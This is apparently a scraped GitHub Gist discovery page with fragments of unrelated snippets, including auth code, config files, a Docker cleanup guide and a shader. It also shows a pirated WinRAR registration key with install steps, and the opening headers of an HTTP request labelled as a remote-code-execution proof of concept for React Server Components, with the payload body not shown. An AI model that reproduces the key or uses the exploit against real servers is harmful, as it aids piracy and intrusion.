Skip to content

Instantly share code, notes, and snippets.

{
"name": "Smart Receipt Organizer",
"nodes": [
{
"parameters": {
"updates": [
"message",
"channel_post"
],
"additionalFields": {}
@lemmensaxel
lemmensaxel / Auth.tsx
Last active December 7, 2025 17:31
React-native expo + keycloak PKCE flow implemented using expo AuthSession
import {
ActivityIndicator,
Button,
ScrollView,
Text,
View,
} from "react-native";
import * as AuthSession from "expo-auth-session";
import * as WebBrowser from "expo-web-browser";
import { useEffect, useState } from "react";
@nicolaskopp
nicolaskopp / killDocker.md
Last active December 7, 2025 17:31
How to delete `C:\ProgramData\Docker` and fixing "Access denied" errors

How to delete C:\ProgramData\Docker and fixing "Access denied" errors

I created this gist on May 25, 2021. It is still an issue as of June 18th, 2025. Welcome to the future of web development. Take this Gist to rest and calm down.

Here is how to delete C:\ProgramData\Docker.

  1. Uninstall docker the normal way (yeah you may have already done that)
  2. Copy this:
@Klerith
Klerith / testing-configuration.md
Last active December 7, 2025 17:26
Configuración de Vitest + React Testing Library
substitutions:
device_name: esp-tesla
friendly_name: ESPHome Tesla
mqtt_broker: your.mqtt.server # CHANGE!
tx_pin: GPIO1 # connect to RX on modbus bridge # CHANGE!
rx_pin: GPIO3 # connect to TX on modbus bridge # CHANGE!
mqtt_value_id: meter_reading
min_value: 0.0
max_value: 35.0 # adjust to a value above configured max-value in Wall Connector config
grid_voltage: 230 # used for power calculation
@MuhammadSaim
MuhammadSaim / rarreg.key
Last active December 7, 2025 17:18
Step 1: Create a file called rarreg.key Step 2: Paste into the file the raw content of this gist Step 3: Go to Winrar install directory (by default => c:\ProgramFiles\WinRAR\ ) Step 4: Paste the rarreg.key into WinRAR directory Step 5: Enjoy
RAR registration data
WinRAR
Unlimited Company License
UID=4b914fb772c8376bf571
6412212250f5711ad072cf351cfa39e2851192daf8a362681bbb1d
cd48da1d14d995f0bbf960fce6cb5ffde62890079861be57638717
7131ced835ed65cc743d9777f2ea71a8e32c7e593cf66794343565
b41bcf56929486b8bcdac33d50ecf773996052598f1f556defffbd
982fbe71e93df6b6346c37a3890f3c7edc65d7f5455470d13d1190
6e6fb824bcf25f155547b5fc41901ad58c0992f570be1cf5608ba9
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 7, 2025 17:15
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@SIRHAMY
SIRHAMY / JwtTokenCreator.cs
Created March 22, 2017 18:22
Example of how to use Microsoft's System.IdentityModel.Tokens.Jwt to create a JWT Token
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Linq
using System.Text;
using Microsoft.IdentityModel.Tokens;
public class JwtTokenCreator
{
private readonly JwtSecurityTokenHandler _jwtSecurityTokenHandler;
export const testShader = /* wgsl */ `
struct Uniforms {
resolution: vec2f,
time: f32,
};
@group(0) @binding(0) var<uniform> uniforms: Uniforms;
struct VertexOutput {
@builtin(position) position: vec4f,